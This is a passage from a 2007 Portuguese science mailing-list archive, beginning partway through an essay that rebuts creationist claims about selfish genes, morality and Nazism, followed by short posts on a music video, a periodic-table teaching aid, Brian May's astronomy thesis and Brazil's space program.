outras) possuem dificuldades empíricas e ainda devem permear a
pesquisa de biólogos teóricos durante um bom tempo até que uma
explicação consensual seja estabelecida. Por enquanto, não temos uma
resposta definitiva. Entretanto, duvido que a literatura dessa área
satisfaça alguém que não aceita sequer alguns dos fatos mais básicos e
evidentes das ciências biológicas.

Michelson também alega que inexistem ramas ancestrais dos
multicelulares e que os mesmos surgiram abruptamente na "explosão
Cambriana", mas isso é simplesmente falso; possuímos fósseis de
metazoários da Fauna de Ediacara até 60 milhões de anos mais antigos
que o citado evento – e desses organismos existem exemplos que já
apresentam simetria bilateral e semelhança morfológica com certos
filos de animais, como os moluscos.

Genes egoístas e animais altruístas

Um dos conceitos mais usados popularmente por detratores da biologia
evolutiva em suas exposições ao público leigo é o significado das
idéias apresentadas no livro de divulgação científica O gene egoísta,
de Richard Dawkins, publicado em 1976. Não estou certo se muitos deles
chegaram a avançar a leitura do livro além do título na capa.

Os "genes egoístas" são egoístas em um sentido metafórico; o
mentalismo que Dawkins utilizou para descrever genes como "egoístas"
deve-se ao fato de que podemos compreender a funcionalidade dos mesmos
assumindo que possuem interesses de se perpetuar pelo mundo.
Organismos inteiros são "máquinas de sobrevivência" construídas pelos
genes para maximizar a replicação de seus alelos em detrimento de
outras variedades competidoras. Como conseqüência de sua estrutura
física e dos suportes bioquímicos auxiliares, genes fazem cópias de si
mesmos. Michelson Borges alega não compreender a lógica dos
replicadores, mas trata-se simplesmente da descrição de como esses
sistemas funcionam. Da mesma forma como sais necessariamente se
cristalizam, quando satisfeitas condições físico-químicas especiais, o
mesmo é verdadeiro para replicadores biológicos.

Mais de 30 anos após sua publicação, esse famoso binômio de Dawkins é
severamente mal compreendido. Em grande parte, o livro se dispõe a
defender a tese central do revolucionário livro Adaptation and Natural
Selection, do biólogo George C. Williams, publicado em 1966. Na época
de sua publicação, existia um grande debate entre biólogos evolutivos
a respeito de qual seria o "alvo" prioritário da seleção natural.
Muitos eram partidários da seleção de grupo – a perspectiva em que a
seleção natural atuava sobre características que eram favoráveis a
comunidades inteiras de seres vivos "pelo bem da espécie". George C.
Williams elaborou o caso de que alvo primário da seleção natural é o
gene e seus argumentos foram convincentes para o mainstream científico.

Seres vivos simbiontes

A visão gene-cêntrica da evolução biológica revelou ser um programa de
pesquisa extremamente efetivo, permitindo a compreensão de vários
fenômenos que anteriormente justificavam a apreciação de vários
teóricos para hipóteses de seleção de grupo. Um dos mais fascinantes
era a existência da cooperação entre várias espécies de seres vivos,
como as colônias eussociais de formigas e a caça sincronizada de
matilhas de lobos. Como a evolução poderia ter moldado esses
comportamentos, se a mesma não age "pelo bem da espécie"? Parece
contra-intuitivo, mas existem explicações plenamente satisfatórias.

O neodarwinismo, depois da "revolução de Williams", prevê dois
contextos muito importantes que permitem o florescimento de
comportamentos altruístas. Um é a seleção por parentesco, quando seres
vivos investem mais recursos individuais para ajudar seus parentes
porque são aqueles com quem compartilham mais genes. Esse princípio
nos ajuda a explicar tanto os fundamentos de nossas relações afetivas
dentro de nossas famílias, quanto a origem mais básica dos conflito de
interesses que existem nas mesmas. A organização de insetos
eussociais, como formigas e abelhas, exemplifica sociedades que
evoluíram com uma presença muito forte da seleção por parentesco.

A outra expressão mais famosa de cooperação é o altruísmo recíproco,
que pode ser enunciado pela sentença "eu o ajudo se você me ajudar
também". Psicólogos evolutivos julgam que essa é a base de relações
sociais inter-familiares, como nossas amizades. A mesma pode ser
estendida para contextos inter-específicos também, co-evoluindo em
espécies de seres vivos simbiontes.

Prescrição e descrição

Robert Trivers, John Maynard Smith e outros pesquisadores analisaram
de forma muita bem sucedida essas instâncias de cooperação entre seres
vivos e de que forma as mesmas maximizariam a propagação de genes à
luz da teoria dos jogos, desenvolvendo "estratégias evolucionárias
estáveis". Às vezes, a coisa mais "egoísta" que genes podem fazer é
desencadear comportamentos profundamente não-egoístas.

Recomendo aos interessados em uma discussão abrangente das origens
biológicas do altruísmo e teoria dos jogos evolucionária a leitura de
As origens da virtude, de Matt Ridley.

Muitas pessoas julgam que uma base biológica para nossa moralidade
possui conseqüências pessimistas e desastrosas. Duas dessas são
frisadas no artigo de Borges. Seria verdade que, segundo o ponto de
vista da tese do gene egoísta, bem no fundo nós somos, na verdade,
mal-intencionados e não existe bondade genuína?

O psicólogo cognitivo Steven Pinker dedica parte de seu livro Tabula
Rasa para conter esse grave mal-entendido a respeito da tese do "gene
egoísta" popularizada por Dawkins. A Superinteressante sugere que "o
que o neodarwinismo diz é: você não `ama' seus filhos e irmãos. São
seus genes que vêem neles maneiras de se perpetuar". Mas esse
raciocínio não poderia estar mais grosseiramente equivocado,
envolvendo uma falácia de composição. Não devemos confundir os motivos
metafóricos dos genes com os motivos reais de seres humanos. Citando
Pinker, "O amor aos nossos filhos, ao nível de análise psicológica
onde estudamos o nosso comportamento, é obviamente puro e sincero. É
somente em um nível deferente de análise – o nível evolucionário,
quando visamos explicar o porquê de termos essa emoção pura – que o
`egoísmo' entra na jogada. O egoísmo em um nível não contradiz o
altruísmo em outro".

O imperativo biológico

Outra implicação negativa que muitas pessoas enxergam na idéia do gene
egoísta diz respeito à responsabilidade moral e meta-ética. Indivíduos
realmente podem ser culpados de seus atos se genes influenciam no
nosso comportamento? Vale tudo para passar seus genes adiante?

Entre os genes e as faculdades de nossos cérebros existem muitos
níveis de organização. Dos nossos 25 mil genes, algo na casa dos
milhares é responsável para dar início à construção das redes neurais
especializadas de nosso cérebro, comportando 100 bilhões de neurônios
e entre 10 a 100 trilhões de conexões sinápticas. Os nossos processos
de tomada de decisão ocorrem em um nível muito alto dessa arquitetura,
na qual existe competição entre módulos especialistas do cérebro que
muitas vezes estão "defendendo" formas de atuação diametralmente
opostas. Estamos então diante de mais um erro categórico: isentar a
responsabilidade do indivíduo como um todo, por conta de influências
dos genes bem abaixo da hierarquia, não faz o menor sentido. Ainda
mais quando as intenções metafóricas de diferentes equipes de genes
podem ser mutuamente conflitantes. Comentarei mais sobre a falácia do
determinismo genético na próxima seção.

Um exemplo quintessencial da diferença entre nossos propósitos
pessoais e os de nosso genes é nossa capacidade de controlar o próprio
imperativo biológico. Os nossos desejos pessoais de manter relações
sexuais com nossos parceiros podem sobrepor os desejos metafóricos dos
genes de se espalharem adiante porque temos a escolha de utilizar
métodos contraceptivos, realizando assim o planejamento familiar.

Subsistência e aprendizado

A sugestão de Michelson de que, segundo o neodarwinismo, criminosos
como Fernandinho Beira-Mar e o "Maníaco do Parque" e maridos infiéis
estariam isentos de culpa porque alegadamente comportamentos violentos
e promíscuos permitiriam uma maior proliferação de seus genes, é um
exemplo de falácia naturalista descarada. Não se segue que aquilo que
se manifesta naturalmente é correto ou desejável, em termos morais.
Exemplificando, segundo a teoria da gravitação universal, o fato do
campo gravitacional terrestre atrair asteróides não significa que é
moralmente correto que asteróides se choquem com o nosso planeta.
Teorias científicas são descritivas e não prescritivas, promovem
explicações para os fatos do mundo, não o que devemos fazer com esses
fatos.

Independentemente disso, também não está claro de que forma um excesso
de violência e a promiscuidade seriam o caminho ótimo para se
proliferar genes ao máximo. O psicólogo evolutivo Geoffrey Miller
especula, em seu livro A mente seletiva, que mulheres podem ter
evoluído um detector natural de "mau caratismo", otimizando a busca de
parceiros mais confiáveis para se engajarem em relacionamentos de
longo prazo. Estando essa hipótese correta ou não, nossa experiência
do dia-a-dia sugere que pessoas excepcionalmente agressivas cultivam
um clima social desagradável e possuem dificuldades de se relacionar
com o próximo.

E quanto à infidelidade? Em comparação com nossos outros primos
símios, como gorilas e chimpanzés, somos os primatas menos promíscuos.
O somos por uma contingência histórica evolucionária; nossos filhotes
nascem muito indefesos e desenvolvem seus grandes cérebros durante
muitos anos até adquirir independência. Essa longa infância, que
precisa ser preenchida com muito conhecimento sobre o mundo, só seria
possível se a norma durante a maior parte da pré-história da
humanidade fosse um núcleo familiar estável, com pais, mães e outros
familiares para promover a subsistência e o aprendizado necessários.

Bonecos de palha

Apesar dessa propensão natural à formação de fortes laços entre casais
para criação de seus filhos, pesquisadores como Robin Baker sugerem
que ainda carregamos por inércia alguma tendência à infidelidade de
nossos ancestrais mais promíscuos. Se, de fato, conservamos essa sutil
infidelidade (como defendido pelo livro A guerra do esperma), daí
também não se segue que podemos legitimamente trair nossos parceiros
"de vez em quando". Isso seria outro exemplo da falácia naturalista.
As conseqüências psicológicas da infidelidade não consentida podem ser
tão devastadoras e gerar tanto sofrimento que as prescrições de nossa
filosofia moral existem para conter esses excessos.

Ao refutar a desinformação que a Superinteressante realizou a respeito
de genes egoístas e psicologia evolutiva, assim como os bonecos de
palha que o jornalista criacionista gerou por cima dessas afirmações,
espero ter deixado claro que, longe de abalar nossa moralidade e
valores, o neodarwinismo, ao nos ajudar a compreender melhor a origem
e persistência dos aspectos negativos da psicologia humana, só tem a
contribuir para a ética.

Darwinismo e nazismo

Em 1990, o advogado norte-americano Mike Godwin cunhou um termo
especial para descrever uma estratégia que via sendo utilizada
descaradamente em grupos de discussão da Usenet, dos quais
participava. Segundo sua "Lei de Godwin", "à medida que uma discussão
na internet se prolonga, a chance de aparecerem comparações envolvendo
Hitler ou nazistas se aproxima de 100%".

Poucos símbolos evocam no imaginário popular mais repulsa e
desaprovação moral do que o Terceiro Reich alemão sob o comando do
ditador Adolf Hitler. Por conta dessa carga emocional, a comparação
com nazistas tornou-se um recurso retórico muito eficiente na
tentativa de se desqualificar oponentes em debates, não interessando o
valor real de seus argumentos. Uma pequena amostragem da literatura
criacionista evidencia o quanto os opositores do neodarwinismo
consumiram recursos aplicando a "Lei de Godwin".

O artigo de Michelson Borges não é uma exceção. Borges cita um
fragmento que afirma ter sido extraído de Mein Kampf, de autoria de
Adolf Hitler. Pesquisei em duas traduções em português do livro
disponibilizadas online e não encontrei o referido trecho; suspeito
que as traduções consultadas sejam diferentes. De acordo com Borges, a
tese do "gene egoísta" justifica a política social violenta e
denegrinte do nazismo, uma vez que Hitler estava meramente obedecendo
aos seus genes.

Entretanto, Michelson se utiliza de um entendimento incorreto
divulgado pela Superinteressante acerca do conceito do "gene egoísta"
e da natureza humana. Além da falácia de associação contida nesta
aplicação de "Lei de Godwin", Borges comete a falácia naturalista.
Mesmo que a premissa de que humanos biologicamente fossem assassinos
inescrupulosos estivesse correta – e não está, como indiquei na
discussão anterior sobre as bases biológicas do altruísmo e compaixão
–, isso não tornaria comportamentos violentos certos.

A visão do mundo de Hitler

A visão de mundo de Adolf Hitler é, em muitos aspectos, profundamente
anti-darwiniana. O führer alemão explicita em vários de seus escritos
que considerava grupos étnicos humanos como "essências" da natureza
que deveriam ser preservadas. Miscigenação racial significava um
verdadeiro atentado à lei natural, produzindo indivíduos com caráter
deteriorado. Ora, isso contradiz tudo o que conhecemos da história
evolucionária da humanidade, da origem dos grupos étnicos e das
conseqüências do fluxo de genes entre populações.

Extraio abaixo alguns trechos de Mein Kampf, o livro que alegadamente,
segundo Borges, teve seu racismo baseado na teoria da evolução. Leia e
responda: o racismo nas passagens a seguir faz mais sentido em uma
perspectiva darwiniana ou criacionista?

"Com essa missão, o Estado, pela primeira vez, assume a sua verdadeira
finalidade. Em vez do palavreado irrisório sobre a segurança da paz e
da ordem, por meios pacíficos, a missão da conservação e do progresso
de uma raça superior escolhida por Deus é que deve ser vista como a
mais elevada."

"Por isso, acredito agora que ajo de acordo com as prescrições do
Criador Onipotente. Lutando contra o judaísmo, estou realizando a obra
de Deus."

"A destruição da existência da cultura humana pelo aniquilamento de
seus detentores é, porém, aos olhos de uma concepção racista do mundo,
o mais abominável dos crimes. Quem ousa pôr as mãos sobre a mais
elevada semelhança de Deus ofende a essa maravilha do Criador e
coopera para a sua expulsão do paraíso."

"Não será possível essa renúncia, se, em lugar do voto religioso, se
colocar a advertência de que se deve pôr um paradeiro ao envenenamento
da raça e dar ao mundo apenas criaturas verdadeiras feitas à imagem do
Criador?"

"(...) É uma criminosa idiotice adestrar, durante muito tempo, um meio
macaco, até que se acredite que ele se fez advogado, enquanto milhões
de indivíduos, pertencentes às mais elevadas raças, devem permanecer
em uma posição inteiramente digna, se tem em vista a sua capacidade. É
um atentado contra o próprio Criador deixar-se perecerem, no atual
pântano proletário, centenas de milhares das criaturas mais bem
dotadas para adestrar hotentotes e cafres."

Regras, não determinismo

É evidente que isso não prova que o criacionismo causou o Holocausto.
Apenas dei-me ao trabalho de mostrar que Mein Kampf é dotado de
combustível suficiente para aplicações inversas da "Lei de Godwin"
exposta por Michelson Borges. A visão de mundo de Adolf Hitler
interpretava história, religião e ciência de uma forma muito
particular e freqüentemente distorcida. A conjuntura histórica que
levou à ascensão do Terceiro Reich e seus programas de genocídio
sistemático institucionalizado é muito mais complexa, delicada e
multifatorial do que os usuários da "Lei de Godwin" gostariam que você
acreditasse. Para não negligenciar a história, precisamos ter cuidado
reforçado quando Hitler e o nazismo entram em um debate.

O outro trecho da matéria da Super citado por Michelson Borges
apresenta mais afirmações falsas. A sentença "do ponto de vista da
psicologia evolucionista, não faz sentido dizer que a cultura molda o
nosso comportamento" não é defendida por qualquer psicológo evolutivo.
Steven Pinker, em Como a mente funciona, destaca como o Efeito Baldwin
foi importante na evolução da inteligência humana – a grande
capacidade de nosso cérebro se auto-organizar dinamicamente com mais
informação coletada do ambiente, incluindo de forma muito
significativa a adquirida via aprendizado com outros humanos. É
correto que genes podem influenciar, em diferentes graus, diversas
facetas de nosso comportamento, mas a expressão definitiva de uma
característica depende da interação com o ambiente. Regras genéricas,
não determinismo genético.

Conclusão

Todos aqueles que desejam ver o Brasil como um expoente internacional
em ciência e tecnologia cada vez mais relevante deveriam se
prontificar, na medida do possível, a conter os abusos ao conhecimento
científico que infestam nossa mídia. Isso exige jornalismo e
divulgação científica mais bem preparados e motivados. Então, deixo
aqui um apelo aos futuros profissionais interessados em a participar
dessas áreas: que cumpram a função pública fundamental de aproximar o
cientista do público leigo. Criacionismo nunca foi ciência e é papel
da mídia informar o público a respeito disso, mesmo que seja
necessário utilizar a "linguagem de guerra" que, para Michelson,
possui ares de perseguição ideológica.

Nenhum paradigma científico foi mais odiado na história da humanidade
do que o iniciado por Charles Darwin após a publicação de As origens
das espécies, em 1859. Detratores do darwinismo são muitas vezes
motivados pela idéia de que uma visão darwiniana da vida corrompe
nossos valores mais preciosos e possui o poder de destruir a sociedade
moderna. As cabeças mais importantes da última manifestação do
movimento anti-evolucionista – o "Design Inteligente" – possuem
opiniões sinceras de que a teoria da evolução é a fundação de muito do
mal que permeia o mundo contemporâneo.

Com a agenda de visar a renovar a cultura contemporânea, partidários
do "Design Inteligente" e do "Criacionismo Científico" financiam
tentativas de infiltrar sua pseudociência no ensino público
norte-americano mesmo quando as mesmas não possuem a menor
credibilidade na comunidade acadêmica e seu ensino foi declarado
inconstitucional por violar a separação entre Igreja e Estado.
Realmente, mudar o currículo de escolas primárias é uma forma muito
pitoresca de combater o mainstream científico. Encarar esse assunto
com mais seriedade é indispensável para evitarmos que as mesmas
confusões judiciais aconteçam no Brasil.

Michelson parece satisfeito com a idéia de que a matéria de capa da
Super deixaria em definitivo que o darwinismo é sinônimo de "ateísmo e
materialismo puro". Qual a razão de tamanho entusiasmo? Ao qualificar
a teoria da evolução como fundamentalmente filosófica, ocorre uma
tentativa de nivelar a mesma com o "criacionismo científico", tentando
reforçar a impressão de que o neodarwinismo não é cientificamente tão
rigoroso e isento de contaminação ideológica quanto outros campos do
conhecimento. Inclusive, uma das maiores manobras de propaganda do
"Design Inteligente" foi tentar convencer o público e financiadores
potenciais de que o "materialismo científico" ou "naturalismo
filosófico", corrompeu a elite acadêmica norte-americana e forçou
cientistas a tomarem aprioristicamente conclusões incorretas sobre
nossas origens biológicas. Essa paranóia, entretanto, não possui o
menor fundamento porque inúmeros cientistasou naturalistas que não são
ateus, não só analisaram a evidência empírica e chegaram às mesmas
conclusões que o mainstream científico, como muitos deles foram peças
indispensáveis nas sínteses evolucionárias das ciências biológicas.
Como exemplo, sir Ronald Fischer, pai da estatística moderna e um dos
idealizadores da matemática de genética de populações e outros
fundamentos teóricos do neodarwinismo, era cristão anglicano. Kenneth
Miller, um dos maiores antagonistas do movimento "Design Inteligente",
que testemunhou como especialista no julgamento de Dover que condenou
o ensino do "Design Inteligente" nas escolas públicas norte-americanas
como inconstitucional, é um biólogo celular e católico romano praticante.

Pessoas que crêem literalmente que nosso planeta possui apenas alguns
milhares de anos, que humanos coexistiram com dinossauros e que o mal
e sofrimento do mundo remontam a um incidente envolvendo uma árvore
mágica e uma serpente falante, não parecem possuir o menor
comprometimento em querer avançar de forma saudável o horizonte para a
pesquisa científica no Brasil. O avanço das igrejas neopentecostais,
que incute a cada vez mais jovens uma visão distorcida e mitológica da
história natural do planeta, é um fato extremamente preocupante.
Observo nisso a triste realidade de formarmos cada vez menos
cientistas talentosos e cada vez mais profissionais que não estão
interessados em contribuir com linhas de pesquisa importantes em
virtude de divergências puramente religiosas.

http://observatorio.ultimosegundo.ig.com.br/artigos.asp?cod=442FDS009



SUBJECT: Rock dos componentes eletrônicos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/08/2007 04:46

Rock dos componentes eletrônicos <http://100nexos.com/arquivo/240>
Assista ao vídeo <http://100nexos.com/arquivo/240>

"Psyché Rock" de Pierre Henry: não poderia ser mais geek, com capacitores,
resistores e até válvulas e afins voando. A música e o clipe são de 1967
(!), e inspiraram o tema de
Futurama<http://www.youtube.com/watch?v=ZAnLXpFwbZI&mode=related&search=>.
Se você prestar atenção ao riff de guitarra ao fundo, poderá ver um
precursor de um dos mais famosos hinos do rock dos anos
90<http://www.youtube.com/watch?v=kPQR-OsH0RQ>
.

*Veja também:*
O sucessor do Hubble: telescópio especial James
Webb<http://100nexos.com/arquivo/56>Planejado para ser lançado em
2013, o tele...
Tubo de Rubens e geladeira de Einstein <http://100nexos.com/arquivo/7> Faça
uma série de furos em um tubo,...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Rock dos componentes eletrônicos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/08/2007 06:30

Kentaro,



Muito boas as informações a seguir:



O sucessor do Hubble: telescópio especial James
Webb<http://100nexos.com/arquivo/56>Planejado para ser lançado em
2013, o tele...
Tubo de Rubens e geladeira de Einstein <http://100nexos.com/arquivo/7> Faça
uma série de furos em um tubo,...



Não conhecia. Aliás, como boa parte dos sites que encontra e disponibiliza
por aqui.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sábado, 11 de agosto de 2007 04:47
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Rock dos componentes eletrônicos



Rock dos componentes eletrônicos <http://100nexos.com/arquivo/240>
Assista ao vídeo <http://100nexos.com/arquivo/240>

"Psyché Rock" de Pierre Henry: não poderia ser mais geek, com capacitores,
resistores e até válvulas e afins voando. A música e o clipe são de 1967
(!), e inspiraram o tema de
Futurama<http://www.youtube.com/watch?v=ZAnLXpFwbZI
<http://www.youtube.com/watch?v=ZAnLXpFwbZI&mode=related&search=>
&mode=related&search=>.
Se você prestar atenção ao riff de guitarra ao fundo, poderá ver um
precursor de um dos mais famosos hinos do rock dos anos
90<http://www.youtube.com/watch?v=kPQR-OsH0RQ>
.

*Veja também:*
O sucessor do Hubble: telescópio especial James
Webb<http://100nexos.com/arquivo/56>Planejado para ser lançado em
2013, o tele...
Tubo de Rubens e geladeira de Einstein <http://100nexos.com/arquivo/7> Faça
uma série de furos em um tubo,...

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Tabua periodica
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/08/2007 11:15

Olá pessoal

Já tinha pensado nisto e buscado algo nessa linha.

O Alberto Mequita tem um texto que inclusive já havia pedido autorização para uso nesta linha de raciocínio, que é "Uma curiosa coincidência".
Havia pensado em uma mesa (tábua) com pontos ou pinos para serem preenchidos, etc.

Estou nessa ...

Podemos manter um contato específico através de meu email ahumboldt2006@yahoo.com.br

sds

Dirceu Dias



Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Pô Emiliano, objetivo puramente didático; dar aos professores um material de trabalho simples que possa ilustrar suas aulas nesse tema. Algo que possa ser colocado no Imperdível (ou outros sites, de mesmos propósitos), de fácil construção e material encontrado no mercado nacional.
Não esqueça que os professores (isso é geral e arquibancada) não têm fonte alguma de material para uso em sala de aula no seu dia-a-dia, quando muito, recebem do estado ou prefeitura local aqueles "cartazes" de cunho geral e que ficam perdurados na parede da diretoria.
Não esqueça que somos privilegiados em termos de 'literatura científica'; não só temos biblioteca particular (minhas duas brochuras de 50 folhas, capa dura), bibliotecas de escolas superiores e interesse (principalmente!) --- ah! e PCs ligado à rede!

Sim, sua participação seria estrondosamente bem vinda! Mesmo que seu pensamento seja 'fazer algo' para ganhar algum $$$$! :-)))

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 6 de agosto de 2007 16:54
Assunto: Re: [ciencialist] Tabua periodica

Oi Léo. Qual seu objetivo em montar tal aparato? Talvez eu possa colaborar. Um abraço! Emiliano

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
Quem quer ajudar a desenvolver isso?
As bolas de gude coloridas são de fácil obtenção.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp







Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: búfalos X leões X crocodilo
FROM: Danniel Soares <dannielsc@yahoo.com.br>
TO:
CC: ciencialist@yahoogrupos.com.br
DATE: 11/08/2007 12:58

http://www.youtube.com/watch?v=LU8DDYz68kM

búfalos 1, leões 0, crocodilo 0


Danniel Soares


SUBJECT: Re: Músico Astrônomo
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/08/2007 20:57

É realmente fantástico, e fico muito feliz, pois é meu guitarrista
favorito...
Para complementar a mensagem, abaixo deixo uma pequena biografia de
Brian May, relacionado a sua carreira academica, tirada do wikipedia:

http://en.wikipedia.org/wiki/Brian_May (fonte)


*******************

May was born in Hampton, in Middlesex, and attended Hampton Grammar
School (now Hampton School). He went on to study at the Imperial
College London departments of Physics and Mathematics, and was part
way through a Ph.D. programme at Imperial College, studying reflected
light from interstellar dust and the velocity of dust in the plane of
the Solar System, when Queen became successful. He abandoned his
astrophysics doctorate - temporarily, as it later turned out - but did
co-author two scientific research papers: MgI Emission in the
Night-Sky Spectrum[8] and An Investigation of the Motion of Zodiacal
Dust Particles (Part I)[9], which were based on Brian's observations
in Tenerife. As of August 2007, he has submitted his Ph.D. thesis, and
is awaiting review. [10] He was awarded the honorary degree of Doctor
of Science (D.Sc.) in November 2002 by the University of
Hertfordshire, although it is not customary in the United Kingdom for
honorary doctors to use the title. Most recently, he was the co-author
of "Bang! – The Complete History of the Universe" with Patrick Moore
and Chris Lintott, which was published on October 23, 2006.

******************

abaixo os links dos textos mencionados acima:

http://cdsads.u-strasbg.fr/cgi-bin/nph-iarticle_query?bibcode=1974MNRAS.166..439H&data_type=PDF_HIGH&type=PRINTER&filetype=.pdf
http://www.nature.com/nature/journal/v240/n5381/abs/240401a0.html

Abraços,

Ricardo S. Vieira


--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
escreveu
>
>
> Olá, todos,
>
> Nunca é tarde demais. Eis o que mostra Brian May.
> Passou parte de sua junventude "dando duro" como guitarrista.
> A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
> No caso a astronomia. Só quero saber dos resultados a que chegará a
banca examinadora.
> É bastante curiorioso: nunca haver se afastado da astronomia e seus
suportes teóricos. Curioso e inusitado.
> Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no
mister.l
> O cara deve o "tampa de crush".
>
> Sds,
> Victor.
>
>
>
> 03/08/2007 - 14h41
> Guitarrista do Queen entrega tese de PhD após 36 anos
>
>
> Stan Honda/AFP
>
>
> Guitarrista do Queen, Brian May durante show no Rock and Roll
Hall of Fame, em Nova York, EUA (2001)
>
>
>
> O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à
banda Queen.
>
> O músico fez trabalhos de observação astronômica recentemente em
Tenerife, nas Ilhas Canárias (Espanha), onde estudou a formação de
"nuvens de poeira zodiacal".
>
> O assunto forma a base da tese de 48 mil palavras para o Imperial
College de Londres, onde May - de 60 anos - estudava antes de se
juntar ao Queen.
>
> "Foi o maior período sábatico já registrado. Na época, foi uma
decisão difícil deixar meus estudos pela música", disse o guitarrista.
>
> "Estou muito orgulhoso por estar aqui hoje", acrescentou.
"Astronomia sempre foi meu interesse." May entregou a tese, chamada
"Velocidades Radiais na Nuvem de Poeira Zodiacal", para o chefe de
astrofísica do Imperial College, o professor Paul Nandra.
>
> O guitarrista deve discutir a tese com um painel de examinadores no
dia 23 de agosto, de acordo com seu porta-voz. Os resultados deverão
ser conhecidos logo depois desta data.
>
> "Se eu fracassar, será grande", disse May. "Será um fracasso muito
público com toda esta divulgação." O guitarrista também prepara um
concerto para marcar a inauguração de um telescópio em um observatório
astronômico em Tenerife, onde completou os estudos em julho.
>
> "Não tenho dúvidas de que Brian May teria tido uma brilhante
carreira em ciências, se tivesse completado seu PhD em 1971", disse o
astrofísico Garik Israelian, que trabalhou com May em Tenerife.
>
> "No entanto, como fã do Queen, fico feliz que ele tenha deixando a
ciência temporariamente", acrescentou.
>
> May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o
Queen.
>
> Recentemente, o guitarrista publicou um livro de astronomia em
parceria com o apresentador de um programa da televisão britânica
Patrick Moore.
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Foi para o espaço
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/08/2007 22:52

Foi para o espaço, editorial de "O Estado de SP"

Os pesquisadores que perderam seus experimentos fazem estarrecedores relatos, que precisam ser apurados pelas autoridades responsáveis

Eis o texto do editorial:

Nenhum programa espacial é uma história ininterrupta de sucessos.

Os soviéticos, que saíram à frente na conquista espacial, colecionaram fracassos atrás de fracassos, como se ficou sabendo quando caiu o véu de segredo que cobria essas atividades.

Foguetes explodiam na decolagem ou durante o vôo - e experiências científicas perderam-se nesses lançamentos frustrados.

Com os EUA, a única diferença foi que os fracassos eram filmados e transmitidos para o grande público.

Nesses dois programas - os mais avançados jamais feitos pelo homem - pessoas perderam a vida, ou nas explosões em solo, ou nas cápsulas e veículos tripulados que explodiram ou não puderam ser recuperados em ordem.

Aprendeu-se tanto com o sucesso como com o fracasso.

E se hoje os lançamentos e viagens espaciais são uma rotina que quase não provocam mais espanto e curiosidade, é porque os países que se dedicaram à conquista do espaço - e não foram apenas os EUA e a antiga URSS - usaram seus melhores recursos humanos e financeiros para desenvolver tecnologias que acabaram tendo emprego na nossa vida cotidiana.

Encararam o desafio com seriedade e perseveraram nesse empreendimento.

O Programa Espacial Brasileiro, iniciado na distante década de 1970, foi e está sendo administrado da maneira exatamente oposta à empregada por países, como Índia e China, que adotaram programas idênticos muito depois e estão muito à frente do Brasil.

Há mais de uma década, o programa brasileiro tem vida praticamente vegetativa, sustentada por recursos orçamentários escassos que desestimulam a permanência de cientistas e técnicos e não são um incentivo à formação de outros.

A última das três malogradas tentativas de lançamento do Veículo Lançador de Satélites (VLS) foi feita há três anos e não se tem idéia de quando e se o programa será retomado.

Não há método nem propósito definido numa atividade que deveria ser prioritária para o governo, na área científica e tecnológica.

Não surpreendem, portanto, as revelações contidas na reportagem de Eduardo Nunomura, publicada sábado em "O Estado de SP", sobre os bastidores do lançamento do foguete de pesquisas VSB-30, no Centro de Lançamentos de Alcântara.

O foguete foi lançado com sucesso - após adiamentos determinados pelas condições meteorológicas -, mas a sua carga útil, contendo experimentos científicos, não foi recuperada.

Esse fato, em si, não seria extraordinário.

Em condições normais, um sem-número de fatores pode fazer com que helicópteros, aviões e embarcações encarregadas da recuperação da carga não consigam cumprir sua missão.

Mas a não recuperação da carga, no caso do VSB-30, teria sido o corolário das condições que precederam o lançamento do foguete, relatadas na reportagem.

Os pesquisadores que perderam seus experimentos fazem estarrecedores relatos, que precisam ser apurados pelas autoridades responsáveis.

Por exemplo, havendo uma 'janela' de apenas cinco dias para o lançamento, a Base de Alcântara foi fechada no domingo, para descanso.

O coordenador de resgate da carga útil teria entrado em choque com o coordenador-geral da operação, por discordar de uma eventual alteração da rota do veículo.

Embora negue o atrito, o fato é que o coordenador do resgate voltou para São José dos Campos, SP, antes do lançamento.

Sua explicação: "Sou vice-diretor de Administração do Instituto de Atividades Espaciais, estava chegando o final do mês e tenho de pagar as contas, precisei voltar." O foguete subiu no dia 19.

Além disso, às 5h da manhã desse dia os pesquisadores ficaram sabendo por intermédio de um motorista que os servia que o foguete seria lançado naquele dia.

E o motorista tinha bons motivos para saber o que aconteceria: "Os salgadinhos (para o coquetel comemorativo) foram entregues hoje."

